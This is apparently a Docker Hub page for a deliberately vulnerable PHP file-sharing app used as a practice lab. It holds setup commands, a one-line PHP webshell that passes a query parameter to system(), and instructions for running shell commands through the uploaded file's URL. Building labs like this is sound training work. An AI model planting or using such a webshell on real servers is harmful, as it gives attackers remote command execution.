You can upload PHP webshell and can execute it.
Basic command
docker run -d -p [Port Number]:80 --name vuln-fshare prex55/vuln_fshare:[tag]
Example.
docker run -d -p 8000:80 --name vuln-fshare prex55/vuln_fshare:latest
http://[container ip]:[port]
You can set username and password at first login. To reset password, recreate container or delete /var/www/system/password.txt.
Upload any PHP webshell you like. If you don't have it, please copy below and save it as cmd.php.
<pre>
<?php
if($_GET['x'])
system($_GET['x']);
Copy the link address of the uploaded file. If it is cmd.php, it should look like this
http://ip:port/files/cmd.php
Put the above url to the URL bar, and add commands you want to execute as query string.
When you execute ls -l, like this
http://ip:port/files/cmd.php?x=ls -l
Use URL-encoded commands if your commands contain special characters
Content type
Image
Digest
sha256:bd9d342f1…
Size
183.2 MB
Last updated
over 2 years ago
docker pull prex55/vuln_fshare